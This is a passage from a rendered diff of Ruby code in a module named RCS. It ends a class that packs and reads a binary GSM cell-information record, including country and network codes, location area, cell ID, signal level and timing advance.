str += [0].pack('l') # DWORD dwNumBCCH; // @field TBD
|
|
282
|
+
str += Array.new(48,0).pack('C*') # BYTE rgbBCCH[MAXLENGTH_BCCH]; // @field TBD
|
|
283
|
+
str += Array.new(16,0).pack('C*') # BYTE rgbNMR[MAXLENGTH_NMR]; // @field TBD
|
|
284
|
+
return str
|
|
285
|
+
end
|
|
286
|
+
|
|
287
|
+
def read(stream)
|
|
288
|
+
stream.read(2*4) #size/params
|
|
289
|
+
@mcc = stream.read(4).unpack('l').first
|
|
290
|
+
@mnc = stream.read(4).unpack('l').first
|
|
291
|
+
@lac = stream.read(4).unpack('l').first
|
|
292
|
+
@cid = stream.read(4).unpack('l').first
|
|
293
|
+
stream.read(2*4) # basestationid/broadcastcontrolchannel
|
|
294
|
+
@db = stream.read(4).unpack('l').first # rxlevel
|
|
295
|
+
stream.read(6*4) #rxlevelfull/rxlevelsub/rxquality/rxqualityfull/rxqualitysub/idletimeslot
|
|
296
|
+
@adv = stream.read(4).unpack('l').first # timingadvance
|
|
297
|
+
stream.read(3*4) # gprscellid / gprsbasestationid / dwnumbcch
|
|
298
|
+
stream.read(48+16) # BCCH[48] / NMR[16]
|
|
299
|
+
end
|
|
300
|
+
|
|
301
|
+
end
|
|
302
|
+
|
|
303
|
+
end # ::RCS
|